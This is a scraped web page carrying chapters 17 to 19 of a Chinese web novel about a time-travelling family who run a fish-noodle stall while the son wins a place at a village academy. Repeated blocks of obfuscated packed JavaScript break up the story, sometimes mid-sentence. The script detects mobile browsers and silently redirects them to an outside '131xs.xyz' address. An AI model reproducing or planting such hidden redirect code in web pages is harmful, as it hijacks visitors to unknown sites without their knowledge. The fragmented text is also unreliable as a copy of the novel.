l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15494666|169609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 杨春杏不肯坐：“林姐姐。我刚到没一会儿，我不累，上月你不是要买小推车吗，现在去吗？” 林芫花在院里教了三个字，两人结伴去了木匠铺子，嘴巴皮子差点说干，终于以两百八十文的巨款买下只小推车。 杨春杏老实，要送她回王家村，被林芫花拒绝：“这一来一回怪累的，多走许多路，我自己回去就好，你回去好好复习，明天要是考不过，我会生气的。” 好说歹说，杨春杏才作罢，离开前又道：“林姐姐，明日我能跟你一起去摆摊吗，学习下经验？” 林芫花：“当然可以。” 入夜后，距离王家村不远的竹溪镇。 竹溪私塾，一月两次应试，白日里，批阅部分甲班学子的卷子，用过晚饭，窗外暮色茫茫，书房亮着油灯，董致远正提起毛笔，听得院门被人拍得哐哐作响，笔尖一顿，在试卷落下一滴墨。 搁下毛笔，董致远起身开门，见到老熟人卢言庆：“大晚上的，火急火燎，天要塌了？” 说着，他仰头望了望头顶乌压压的天。 卢言庆闷头往书房走，把卷子往桌上一拍：“天塌不塌我不晓得，你先看看这张试卷？” 董致远打眼一瞧，字迹丑得眼睛疼，随后目光落到好友指向的区域，一道极难的算术题，答案竟对了！ 翻过卷子，董致远开始呼吸急促：“全对，竟是拿了甲等。这是甲班哪位学子的试卷？” 很快他推翻自己的猜想，白日里还听到过好友说起整个甲班全军覆没，实力最好的拿了乙等。 一抬头，对上笑得神秘的好友。 果不其然，卢言庆眼中浮出笑意：“这是入学应试的卷子，就是不知道是哪位学子？算术了得，我们竹溪书院一定要将人抢回来！” 入学应试的卷子统一被糊了名，但，这可难不倒董致远：“我想，我应该知道是谁了。” 这字迹，丑得他眼睛疼，想不认得都难。 17. 应试 从董致远口中得知这张试卷的主人，是私塾外摆摊小姑娘的同胞阿弟，卢言庆抓起卷子往外跑，被好友拉住：“外面天都黑了，这会儿王家村的人全睡下，明日傍晚再去。” 卢言庆一拍额头：“对对对，差点忘记，你说过这孩子好像在码头干体力活，这会子应该睡下了。” 听得董致远咋舌：“你还真打算去王家村？” 卢言庆：“算术好，策论言之有物，这是一块璞玉啊，我肯定要拐来咱们书院的。你师兄一手创办的青山书院，那些个好苗子，你看着不眼红？不想跟你师兄比一比？不蒸馒头争口气。” 董致远语气平静地说：“咱们穷乡僻壤的破落地，怎可与府城相比？” “你少长他人志气，灭自己威风。”卢言庆吹胡子瞪眼，放话：“你认命，我可不认命。” 董致远：“这么晚了，你还回去吗，要不给你铺一床被褥？” 卢言庆戳破对方：“你这番邀请一点诚意都没有，要真想留我住下，你早去铺床了，何必假惺惺问我。罢了罢了，我回自己家去。” 董致远：“……” …… 黎明曙色，整个王家村陷入白茫茫的一片大雾。 大部分村民还陷入沉睡，只有零星几户人家燃着微弱的烛光。 一家三口出了院门，林芫花买来小推车，把木桶用绳结固定住，轻便省力许多，自己可以独立去摆小吃摊。 到了约定好的私塾，杨春杏早早等候在此处。 杨春杏不善言辞，手脚麻利帮忙搬运木桶等，今日小推车里带来两三只矮凳，被逐一摆开。 无事后，杨春杏坐在矮凳，看林姐姐跟一位挎着菜篮子的婶子唠嗑。 婶子家儿媳有喜，林姐姐说得多吃鲜鱼补充营养，生出来的孩子聪明伶俐。 送走婶子，杨春杏兴致勃勃：“刚才那位婶子，姐姐认识啊？” 林芫花摇头：“不认识。” 杨春杏惊诧：“我看你们很聊得来，以为是熟人。” 林芫花解释：“是附近的住户，咱们做买卖的，混个脸熟，没准儿下次经过，人家婶子就来光顾咱小摊呢！” 杨春杏撑着下巴，星星眼看她：“姐姐真厉害。我就做不到，大伯总说我嘴笨，幸好码头的小摊让姐姐做出了口碑，有不少回头客光顾，每天忙到午后收摊。” 林芫花给食客盛好一碗渔粉，顺手递去矮凳：“没关系，你这样也很好，不需要迎合他人，让自己怎么舒服怎么来。花开千姿百态，有妍丽的桃花绽放，也允许清新内敛的杏花盛开，都可以是春日里不一样的色彩。” 蓦地，杨春杏睁大了眼。 总是因为性格问题被家人数落，而自卑敏感，在这之前，她从未听过林姐姐的这番新奇言论。 她可以不讨好别人吗？ 没有人告诉过她，原来要在意自己的感受！ 林姐姐辞掉码头的活计后，大伯总会无意识提起，连码头的那些纤夫船工们也时常念叨着林姐姐，杨春杏羡慕极了，所以今早特意过来帮忙摆摊，顺便学习技巧。 跟着林姐姐，她真的学到了许多。杨春杏想。 对上林芫花侧来的目光，杨春杏慌乱垂下眼，分享自己在码头的日常：“年前大家为了腌制腊鱼，积攒了许多鱼杂，每天在码头很忙，过完年，三叔鱼摊生意差了好多，再过几个月，吃不到鱼籽鱼杂了，我们打算重油烧麦。” 又来一位食客停在摊位前，林芫花点点头：“烧卖油水碳水足，味道好，分量足，应该不愁卖。” 跟杨春杏说完，她去招呼食客，对方要一碗渔粉尝尝鲜。 “以前走商时，在湘江一带吃过，没想到咱们的竹溪镇也有渔粉卖了。” 一听这话，就知道是吃过当地渔粉的。 林芫花有点心虚，现煮现做的还好，烹煮好保温售卖，风味差了些，还是得尽快攒够银钱，买只铁锅。 铁锅得三百文，买完小推车，手里还剩百来文，攒个七八日，便可以添置了。 好在对方期待值不高，尝了口，还夸奖她家渔粉味道不错。 林芫花嘴角正微微上扬，听到一串急促的脚步声靠近，紧接着一道男声：“听人说你在竹溪镇摆摊，我还不信，没想到你不愿嫁我这个秀才，却如此自甘堕落，在市集抛头露面，看以后哪个男子敢娶你？” 两人打了个照面，她觉得这人瞧着眼熟，听完这番话，在原主记忆里搜寻一番，可不正是当初让媒人登门求娶原主的秀才郎？ 三十出头的年纪，中等身高，两撇黄须，半新不旧的绸缎料子，瞧着气派。 “不劳您费心，您这个年岁也该儿女满堂了，马上都可以当阿爷的年纪，人家豆蔻年华的少女不想嫁，巴巴赶来奚落，还是秀才呢，毫无文人气节？”林芫花也不是吃素的，阴阳怪气说。 周围食客与摊贩努力憋笑，方才的走商没憋住，被康秀才扔来只眼刀子，只得低下头。 “你林芫花除了模样生得好，还有何长处？亏得我不与你计较……” “何人在私塾撒野？哦，原来是康秀才，失敬失敬。”小摊发生的事，被王茂等人告知于夫子，卢言庆将林芫花与她面前的秀才郎来回打量。 康秀才恭恭敬敬一拱手：“原来是卢夫子，我同这位小娘子说点话，打搅你们清静了。” 刚才两人的言语机锋，卢言庆全听到了，同康秀才说：“到底是长辈，莫要同晚辈一般计较。” 听话听音，康秀才知道老匹夫是要护着林芫花了，四周百姓们交头接耳，心知今日出师不利，扔下句“不识抬举”，拂袖离去。 “姐姐，你还好吗？” 杨春杏关切的话，将林芫花拉回思绪，冲对方摇摇头，向卢夫子道谢。 卢言庆轻抚胡须：“有夫子们在，你在私塾外好生摆摊。” 林芫花：“知道了，多谢夫子方才仗义执言。” “不必客气。”卢言庆说完，环顾一圈，没找到人：“你弟弟林青叶今日没来陪你摆摊？” 林芫花：“嗯，我有小推车，用不着他，他在码头做工呢。” 卢言庆又问：“傍晚时分，你们一家人都在家吧！” 给林芫花问懵了：“夫子何事？” “没，没什么，傍晚我与董夫子一同去王家村拜访你们。”抛下句话，卢夫子急急回了私塾。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15507480|169609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 留在原地的人一头雾水。 忙了一上午，收摊后，林芫花邀好友回家吃饭，回家路上，听杨春杏说道码头最近发生的新鲜事。 “姐姐，你知道那个每日挣两三百文钱的阿牛吗，壮得跟头牛似的，最近好久没来码头做活，好像肩背出了什么毛病，去了好几趟医馆，现在还在家修养。” 听了杨春杏的话，林芫花心头一咯噔。 刚穿来一穷二白，米缸空空，一家四口饿得没法子了，才去码头做搬运工。 现在她和母亲都有份生计养家，家里也存下点积蓄，该劝说老爸和弟弟辞掉码头的体力活，用身体健康，透支未来不可取，或许可以换点其它轻松活计。 一道残阳铺在湖面，映红了水波。 王家村，林家小院逐渐热闹起来。 在林芫花将白日两位夫子来访的事，同父母说了，又说起阿牛，劝父亲可以去临江城找点别的谋生工作。 与此同时，村口迎来了乘着驴车的两位夫子。 从田地检查黄芽暖棚的孙氏与丈夫在村口撞见夫子们，以为是日前自家儿子参加入学应试的事，当即受宠若惊：“怎好劳得夫子们大驾光临，可吃过晚饭，要不上我家用点？” 夫妇俩热情十足，叫卢言庆摆手：“哦，这次入学应试有你家的娃儿是吧，你家叫什么名字？” 孙氏答：“王贵。” “不是王贵，我们今天来王家村是为了……” 卢言庆说到一半，被闻风赶来的村长王有德打断：“卢夫子，董夫子，你们怎么来了，快快快，屋里坐，是不是我家王茂在学堂惹了事？” “那倒没有，王茂最近很是用功，值得表彰。”董致远说了句公道话，瞄到村长身后怯生生的王茂，道：“我们这次来是为了入学应试的事，我们要找林青叶家，他家住哪儿？” 领着两位夫子去林家的路上，王有德与孙氏夫妇俩在心头嘀咕——能劳得两位夫子大老远亲自登门，林书润家的娃儿，好大的脸面！ 从卢夫子口中，得知林青叶竟答对了甲班韩卫都没答对的算术题，那可是整个竹溪书院最优秀的学子啊，最有可能中秀才的天才！ 第一次入学应试，林青叶拿到了丙等，不曾接触过四书五经，已是殊为不易。 王茂三岁启蒙，入学应试拿到乙等，那年试题简单，没今年这么难，难怪夫子们巴巴登门拜访。 林家到底是走了什么狗屎运？ 同样吃五谷杂粮，怎得林书润的一双儿女愣是比别人家伶俐？ 王有德嫉妒得眼睛发红。 孙氏的丈夫酸溜溜，来了句：“以林家的条件，能有银钱送林青叶去学堂吗？” 王有德一愣，几乎下意识开口：“若林青叶当真有才学，便是没银两，也得想法子给孩子送学堂，千万不能耽误了。咱们村里家家户户看着捐点，实在不行，我卖块田产。” 王有德烧香拜佛，日日盼望着村里能再出一位秀才郎。 卢言庆和董致远对视一眼，心里对王有德高看了几眼。 王家村村长不像是土生土长的庄稼人，目光看得很长远，王家村以后定会越来越富裕。 18. 冬笋焖腊肉 这厢一行人浩浩荡荡直奔林家的动静，惊动了邻居宋氏，朝矮墙另一头喊：“陆妹子，好像是冲着你家来的。” 院里丈夫林书润蹲在墙角给小葱韭菜追加水肥在，陆英膝上搁着只针线箥箕，给爷俩缝补衣裳，厨房升腾起袅袅青烟…… 闻言，夫妻俩顺着宋氏的目光望去，见到以村长王有德为首的一行人来到院门。 提前听女儿提起过夫子要来家里拜访一事，夫妻俩不慌不忙起身迎接。 担心林书润与陆氏招待不周，作为王家村村长，王有德充当了长辈，主动帮忙介绍说：“这两位是竹溪书院的夫子，前日林青叶入学应试一事你们知晓吧，今日夫子特意登门就是为了这事。” 还特意挑了林书润父子从码头归家的时辰，这会子天色都快暗了，王有德想着，心里头跟喝了碗酸醋似的酸涩，拉着林书润走到一旁，低声嘱咐：“青叶是块读书的料子，你们夫妇俩不能鼠目寸光，得把看得远些，以后千万不能让他去码头，至于束脩的事，你家拿不出的话，咱们村里想想办法，都是一个村子的，从小到大喊我一声叔，有困难，别客气。” 不知是不是错觉，林书润从村长口中听出了点嫉妒羡慕的语气，夹杂着恨铁不成钢。 他与妻子私底下商量过，打算下半年送林青叶去学堂，计划赶不上变化，既然夫子亲自登门，他们做父母的砸锅卖铁也要送孩子上学。 听村长的意思，担心他家交不起学费，要揽去重担，林书润意外又意料之中，一家人刚穿来时就发现了，王家村民风淳朴，村长是个干实事的，是真的为整个村子的利益着想：“多谢王叔好意，束脩的事……” “束脩一事，经过我们书院商讨，决定破例免费招收林青叶学子，不收他的束脩。”卢言庆打断那厢的话。 趁着王有德与林书润夫妻俩说话，卢言庆与董致远环顾了圈林家，东西厢两房，围个篱笆院，尽管收拾得干净整洁，掩不住破败房舍的事实。 林家夫妻俩衣服打着补丁，墙角巴掌大一块土地都不放过，种植葱韭，填补餐桌。 卢夫子的话一出，王有德怔住了，哆嗦的语调对林书润说：“赶，赶紧答应下来，不然我这个做叔的，跟你翻脸。” 林书润看村长不像开玩笑，讷讷点头。 林青叶入学一事，就这么敲定下来，恰好这时厨房饭菜好了，林芫花姐弟见到两位夫子，向对方问候，林书润则邀请夫子们在家用饭：“家里粗茶淡饭，两位夫子不嫌弃的话，留下吃点？” “我与卢夫子用过饭来的，驴车还等在村口，马上天黑了，得赶着回竹溪镇。”董志远打量姐弟俩，一个天不亮摆摊，一个在码头干活，都是好孩子，现在村镇家家户户大多不富裕，正常人一般用饭时间尽量不会去打扰主人家。 林书润扭头看向村长，王有德一摆手：“我家饭菜也快烧好了，这里没什么事，我送送两位夫子。” “王叔等等，我跟你一起送送。”身后的林书润追来，说。 目送夫子们乘驴车远去的影子，王有德顾不得用饭，额外交代了几句：“以后家里遇到难题，给叔说，都是一个村里的人，以前我们王家村受过你祖父的恩惠。” 林书润继承了原主的记忆，当然知道这点，正是因为受过祖父恩惠，所以王家村村民们对林家人多有忍让，其中不乏有不敢招惹林家这群无赖的原因，以至原主一家四口有恃无恐： “王叔，谢谢你，有你在，咱们王家村一定越来越好。” “其实叔有自己的私心，如果咱们王家村能有个秀才，以后遇到事，有人能帮忙争取。听说你祖父在世时，周围几个村镇无不艳羡咱们村。隔壁洪溪村出了个康秀才，上头的资源往洪溪村倾斜，反而咱们王家村人口越来越少。寒门难出贵子。”说到昔年辉煌，王有德唏嘘不已。 与村长分别，林书润吃过晚饭，次日一早，做好早饭，喊一双儿女起床…… 林书润决定去临江城找活计，一双儿女能认字识字，会算术，他这个做老子的耳濡目染，应该能说得过去。 装了数月白丁的林书润，在告示墙上看到米粮铺子招账房先生的告示，经掌柜考校计算谷仓容量，以及账目册子，他一一应答，答案分毫不差，心算了得。 掌柜很是满意，考校税收律法时，林书润就知道这份账房工作要泡汤，本以为靠自己心算本领，当上账房先生手到擒来，稍一动脑，账房先生等于现代的会计，必须熟读律法，保证税收计算准确又合法，甚至需要在某种程度上帮助公司合法避税。 “抱歉，大晋律法我暂时不太懂，回去我会熟读。”林书润几乎认为这次面试没希望了，尝试着为自己争取机会。 米粮铺子掌柜见他是个人才，试探地开口：“我庄子上缺个管事，工钱比账房少了一半，一月五百五十文，可以慢慢锻炼积累。” 工钱是少了点，林书润犹豫片刻，应下这门差事。 庄子的差事，今日便可以上工熟悉…… …… “诸位莫以为科举只考四书五经，做学问，挥洒策略即可，于是看轻算术，殊不知河渠计量、谷仓容量，库房核算等等都需要用到算术，日常生活处处会用到计算，你们看大街小巷走卒贩夫，每日支收，一座城池的税收，乃至一整个国家的税务，都是一笔庞大的计算量……” 竹溪书院，董致远向学生们强调算术并不是旁门左道，端坐在窗边的韩卫，从一开始不服气，渐渐若有所思。 一堂课结束，甲班的学生纷纷涌向丁班，去瞧瞧那擅长策论与算术的天才。 在这之前，韩卫才是整个竹溪书院最耀眼之人，突然来个人抢走自己的荣光，冯涛替好友打抱不平：“据说这道算术题，是半年前府城知县搜罗来，说不定那个叫林青叶的，偶然在哪里看到过答案，瞎猫碰上死耗子罢了。” “运气也是实力的一种，碰巧或是真本领，都是他的本事。”韩卫不置可否，道：“再者，区区丁班的一名学子，不配做我的对手，我的目标，是府城的青山书院。” 望着自信放光的好友，冯涛欣慰：“这才是我认识的韩卫。” 一名新入学的学子，在甲班掀起一片涟漪。 甲班的学子们赶到丁班，却扑了个空。 丙班王茂也跟来瞧热闹，没见到林青叶，眼珠一转，伸长了脖子朝窗外瞧，果然在小吃摊见到搅动书院宁静的某人。 曾几何时，王茂也幻想过自己如话本子里的主人公一样，在学堂一鸣惊人，天纵奇才，得夫子偏爱，成为阿爷心心念念渴望的秀才郎，后来真正进入书院，被现实一点点磨平了棱角，明白普通平庸，才是大多数。 阿爷总说，寒门难出贵子。 他不是话本主人公，只是一个平凡普通的农家子，怎么比得过竹溪镇首富之子韩卫呢？ 可是林青叶赢了韩卫！ 午时，三人结伴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15515796|169609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回王家村。 一路上，林青叶发现王茂老是盯着自己，奇怪：“你老看我干嘛，我脸上有花吗？” 王茂：“林青叶，我发现你好像变得不一样了。” 林芫花与林青叶悚然一惊，几乎同时以为自己露馅，被看出不是原主。 下一息，又听王茂说：“自从花花姐教你识字认字后，你看着不像以前凶神恶煞了，多了书卷气，读书使人明智，气质都变了，果然老祖宗不骗人啊！” 林青叶松缓了僵直脊背，恶趣味地活动着手腕：“这么听来，你好像对以前的我，很有意见？” 给王茂吓得脸色一白。 “他逗你的。”林芫花好笑。 王茂想到什么，绕到林芫花身边，跟找到靠山一样：“你敢动手试一下，花花姐饶不了你。” 他看到花花姐拧林青叶耳朵的场面，同样作为弟弟，自己在家最怕阿姐王依依了，每每见到阿姐，有种说不出的威慑。 林青叶恐吓了顿小胖子，老老实实窝在厨房烧火…… 傍晚时分，老爸林书润从庄子归家，顺手摸来只矮凳坐，放下一包山货：“底下人孝敬的山货，家里还有腊肉，可以焖个笋子吃。” 林芫花掀开布包，里头包着几只白白胖胖的冬笋，加水晶腊肉一烹，光是想想，就很馋人：“不是去找工作，哪来的冬笋？” 林书润捶捶腿：“账房先生需得熟读律法，我聘上了庄子管事，每日打理巡逻庄子，朝九晚五，辛苦了点，工钱少了点，好在有上升空间。” “是挺辛苦。”林芫花指着他破了个洞，露出脚趾的布鞋：“脚趾头冷不冷？” 林书润哽住：“有点。” “哈哈，我去做饭了。”林芫花一人拿不完冬笋，喊林清叶出来帮忙。 一家人围坐饭桌，一碟咸鱼，自是不必说，十足下饭。 焯过水的冬笋，去除多余草酸，口感嫩而鲜，快速翻炒锁住水分，同时又吸收了腊肉油脂，肥嫩的口感，回味唇齿鲜甜。 “腊肉还是肥一点好吃，可惜之前没抢到五花肉，添上冬笋，五花三层的一炒，香得很。”林书润夹来一片腊肉往嘴里送，瘦肉部分被煸得干香干香，肥肉部分油滋滋，被煸出大部分肥油，吃着不腻。 村镇的日子过得很慢，盼星星盼月亮，七八日后，林芫花终于攒够买铁锅的银钱。 这日一早来到私塾，她利用河边搬来的鹅卵石搭建好灶台，架上铁锅。 董致远经过时，看到小姑娘跟只过冬小仓鼠一样，一点点积累，从小推车，到铁锅，逐渐添置了许多家当。 “董夫子吃过早饭没，今日现做现煮的渔粉，味道不错的。”林芫花跟以前一样打招呼，说。 旁边一名走商附和道：“是啊，现做的渔粉又烫又鲜，真不错。” 说得董致远心动了，摸摸口袋，发现出门忘带钱袋子了：“算了，没带钱，先不吃了。” 林芫花又不怕对方跑了：“没事，我给您煮一碗，什么时候有空再送来？” 董致远：“也行。” 现煮的渔粉，热气腾腾，董致远的眉毛睫毛被水汽打湿，冻僵的双手贴着滚烫的碗壁，汲取着温暖，迫不及待抿一口汤水，果然又烫又鲜。 酸汤开胃，鱼片雪白白，粉量大，普通成年男子能吃得很饱。 几口渔粉下肚，董致远浑身舒服暖和，吹来的阵阵寒风，释放了燥热，阵阵快意。 19. 柴火煨河鲜 收完摊，回到家，林芫花仔仔细细养锅子。 正儿八经铁匠铺子出品的铁锅，娇贵得很，沾上点点水迹，一不高兴，马上就会生出斑斑锈痕，下次做饭的时候，除锈工作让人头疼。 日积月累，铁锅锈穿了，拿到铁匠铺子修补，是一笔不小的花销。 铁锅拿来干炒煸炒还行，拿来煮汤做渔粉卖，一个不留神很容易生锈，刚买来用腊肉猪皮开了锅，后期每日维护保养，必不可少。 昨天开锅的猪皮没舍得扔，将铁锅加热，用铲子把猪皮沿着锅内滑一圈，当油脂润泽到每一寸铁锅，仔细检查后，满意将铁锅放置一旁。 剩下的一小块猪皮，没完全榨干油水，锁进柜子里，留着明后日继续养锅。 见她把铁锅当个宝贝似的，林青叶不理解：“至于吗，不就是一只破锅？” “一只破锅，三四百文呢，我辛苦摆摊卖个十天半月，才能挣回来。”林芫花望望院里的小推车，望望油润润的铁锅，这些都是自个儿好不容易置办的家当。 原主一家四口饥一顿饱一顿，长期营养不良，家里米缸见空，计划着次日将家里一口铁锅拿去卖掉，换点口粮果腹，然后当晚她们一家人穿来了。 刚穿来，没吃没喝，她们没想过卖掉两只铁锅。 如果书院不给林青叶免去束脩，就算砸锅卖铁，也会送弟弟去学堂，在长辈们眼中有个固定思维——读书能改变命运！ 一夜休整，第二天林芫花推着木车，带着宝贝小铁锅去摆摊…… 许是现煮现做，汤水鲜烫，鱼肉一汆即熟，火候把握得好，口感更嫩，以往她出摊吆喝，要花费一个多时辰才能全部卖完，今日短短卖个时辰，十几份渔粉全部售空，小半是昨日来关顾过的食客。 提前收摊，林芫花琢磨着吃过午饭，下午无事，或许可以去码头找杨春杏玩，顺便在码头看看有没有别的赚钱门路。 她前脚刚走，后脚有个挎着菜篮子的中年妇人赶到摊子前，只看到原地一小块土地残存着火烧火燎的痕迹，地上的草木灰被人收拾干净，好像没来过似的。 她问旁边卖肉沫菜饺的摊贩：“卖渔粉的今天没出摊吗？” 摆摊卖菜饺的贩子：“哦，是葛二家的婆娘，一大早赶集买菜啊，旁边卖渔粉的今天卖完了，收摊早，你找她做啥？” 扑了空，妇人焦灼道：“听说吃鱼补脑，生的孩子聪明伶俐，昨日给儿媳带了碗渔粉，她吃了一半，吃不下，今日突然又说想吃渔粉，卖渔粉的回去了，这可咋办？” “还能咋办，明日赶早呗！”小贩头也不抬地道。 妇人没法子，只能去集市买一尾鲜鱼，给家里小姑奶奶解解馋。 林芫花不知道自己被人惦记上，吃过午饭，去码头找杨春杏。 杨春杏正无力靠在小板凳，忙过中午一阵子，锅中剩下些许鱼杂羹没卖掉。 见到熟悉的身影，杨春杏下意识揉了揉眼，以为自己看错，再次凝神看来，没错：“林姐姐，你怎么来了？” “今日收工早，我想来码头逛逛，顺便看看你。在码头呆了几个月，我还没好好逛过这里呢。”她回。 杨春杏：“好啊，我陪你一起走走。” 等杨大力来时，剩下的鱼杂羹被打包打走，挥手：“行了行了，你们俩玩去吧！” 杨春杏不忙时，把用了的碗筷清洗好，核算今日营收正确，交接完，两人愉快离开小摊，像两只飞出牢笼的雀鸟，叽叽喳喳。 “哇，那是南边的丝绸，一尺料子，能卖上好几两银子，就这样还供不应求呢！”杨春杏盯着那些绸缎，舍不得眨眼：“真不敢想象到底是哪些夫人小姐们能穿上这样漂亮的缎子，一定跟仙女一样漂亮！” 林芫花顺着好友的目光，看到码头管事在抽查货物，一匹匹缎子，在阳光下泛着动人光泽。 现代交通便利，网络信息遍地，电商发达，生产力过剩的情况下，供大于需，能卖出货的流量网红，赚得盆满钵满。 古代交通信息不发达，生产力落后，手握供货渠道，才是王道。 打信息差，倒腾货物，肯定很赚钱，贩丝需要一大笔本钱，先不说她手头赚得银钱全部拿去添置摆摊物件，一个手无缚鸡之力的女子外出贩丝，如三岁小孩抱金砖，招摇过市，搞不好丢了货，赔了性命。 她忍痛移开目光，巡视一圈，听到杨春杏哎哟一声，然后是给人赔罪声。 “瞎了你的狗眼，爷的靴子可是绸缎面制的，踩脏了，你赔得起吗？”中年男子捻着两撇胡须，上下打量杨春杏，不怀好意说。 有仆役匆匆赶来：“刘管事，两名搬运工卸好冬枣了，问咱们结酬劳，您看……” 对方数来三十枚铜板，仆役掂了掂：“管事，跟咱们先前说的工钱好像不够，还差十枚。” “你傻啊，就这些，爱要不要，反正多的是泥腿子抢着干。”刘管事不耐烦挥手，让仆役离开，试图刁难眼前这个家境贫寒的清秀少女：“你说，如何赔偿我的靴子？” “对，对不起，我不是故意的，我帮你拍干净。”杨春杏蹲下身，轻轻拍打鞋面，生怕弄坏弄皱了。 拍打的手，被另一只手握住，刘管事刚捉住小美人的手，吓得杨春杏立时抽开，面色白惨如纸。 “别怕，小美人，不让你赔就是了……” 见杨春杏目光怯弱躲开，刘管事越发胆大包天，听得人群里有人喊了一声非礼，周围人不约而同停下手里活计看了来，吓得他停了步子，站在原地。 循着声音源头，刘管事锁定了打断自己好事的人，有一个小美人，长得更带劲，虽是唇角含笑，目中凉薄，看着很不好惹：“谁非礼了，小姑娘家家的，空口白牙冤枉好人。” “好人？”林芫花嗤笑，道：“刚才我亲眼看见你不长眼，横冲直撞，污蔑他人踩脏你的鞋，让赔银钱，刚才不止我一个人看见了，这样的事情以前怕是做过不少，要么我们现在报官，让官老爷们评评理？” “看什么看，不用干活了，一帮泥腿子贱民。”刘管事做贼心虚，哪敢真的报官，灰溜溜逃走。 仆役友好冲林芫花点了点头，幸灾乐祸说：“真解气。我早就看他不顺眼了。老是克扣我们下面人的工钱，要不是因为他是东家的侄儿，我都想揍他了。” 林芫花：“……” 这边的争执平息下来，看热闹的人纷纷散开。 杨春杏走来，情绪低落：“林姐姐，我是不是给你惹麻烦了？” 林芫花看好友跟个受气包的模样，看着就很好欺负，想来很早就被刚才那管事盯上，借机揩油：“人善被人欺，马善被人骑，我倒没什么事，刚才你瞧见了，他不敢惹我。” 杨春杏点点头：“其实这位刘管事之前也来过我的小摊，买过鱼杂羹，我都躲着了，他还……” 后面的话，她一个小姑娘不好意思说出口。 林芫花觉得不应该呀，以她对杨大力的了解，只怕早就梆梆给了对方两拳：“你大伯听了，没反应？” 杨春杏怯怯垂下脸：“怕给大伯惹麻烦，我没敢说，今日刘管事没来，我以为他不在。” “如果今日我不来码头，你还要一直忍着啊，你可真能忍。”林芫花有点怒其不争，又能理解杨春杏。 两人生活环境不一样，好友胆小懦弱，自卑内向，只做不说，性格里有一份朴实的真，这就走她愿意跟杨春杏做朋友的原因。 “我，我要告诉大伯吗？”杨春杏不确定说。 林芫花把决定权交给对方：“你自己选择，要么把这事告诉你大伯和父母，要么你继续忍让。” 杨春杏不想忍了，似下定某种决心：“我现在就去找大伯，大不了，以后我不在码头摆摊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15525719|169609||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了，我帮家里杀鸡也行。” 逛了一圈码头，林芫花有点疲累，口袋比脸还干净，想着尽快赚到第一桶金，倒腾货物的事，暂时搁置。 两人找到杨大力，将刚才发生的事情告知，事后怎么处理，林芫花不知，吃过晚饭，挨着枕头，立马染上了瞌睡虫。 清早，朝阳烤干了薄雾。 不等来到摊位，早早看到一名挎着菜篮的妇人等候着。 林芫花有条不紊摆弄大块石头，架起铁锅，点燃柴火…… 昨日没吃到渔粉的回头客，也跟着排在妇人身后，不消片刻功夫，排了四五人…… 路过的行人见了，奇道：“这不卖渔粉的吗，有这么好吃？不行，我也得尝尝。” 怀揣着好奇心的食客不在少数，看到这家小小渔粉铺子排了好几名食客，出于从众心理，跟着排在后头。 等林芫花将妇人外带的一碗渔粉煮好，一抬头，发现排队的队伍，不知何时又多了好几人。 今天怎么生意这么好？ 她数了数人数：“后面的两位食客别排了，咱们家只有十五份渔粉，卖完就没了。” 排在队伍后面的两人嘀嘀咕咕：“看样子渔粉应该很好吃，明天咱早点来尝尝鲜。” 陶祥到的时候，正好听到这番话，昨天起床晚了，没赶上。 得，今天又没他的份。 就是听说现煮现做的渔粉更美味了，来吃个渔粉，怎么就这么难？ 隔壁菜饺子贩子见渔粉摊生意红火，乌泱泱的食客都围在渔粉摊，心头酸溜溜，嘴上卖力吆喝着：“肉沫菜饺子嘞，皮薄馅大，刚做好的菜饺子，要来一份吗？” 等渔粉收摊，没什么食客了，只能等午时的一波客流量。 早早收摊的林芫花，到了临江城的鲜鱼摊，问杨小叔要了条四五斤重的鱼。 杨小叔打趣：“渔粉摊越做越红火，以后林掌柜买卖做大，可要多多照顾我家鱼摊生意。” 给林芫花逗乐：“好说好说，多亏杨老板的鲜鱼一如既往的鲜活，食材好，我家渔粉才卖的好。” 两人互相商业互吹了番。 林芫花数好铜板递去，接过鲜鱼时，杨小叔的妻子往她装粗粮粉的木盆里搂来小半盆小鱼小虾。 杨小叔腼腆说：“春杏，大哥同我说了，多谢，湖里捞来的鱼虾，不值什么钱。” 林芫花不好拒绝，道了谢。 回到家，鲜鱼吃了不少盆里的小鱼小虾，赶紧捞出单独放到清水里养着，明日备用。 小鱼小虾经过清水一浸，活蹦乱跳。 林青叶见了，畅想着：“要是油水充足，拿鸡蛋面粉一裹，放到热油里一炸，炸得金黄黄，都不用吐鱼刺。可惜这个月家里吃用超支，吃不了炸河鱼河虾了。” 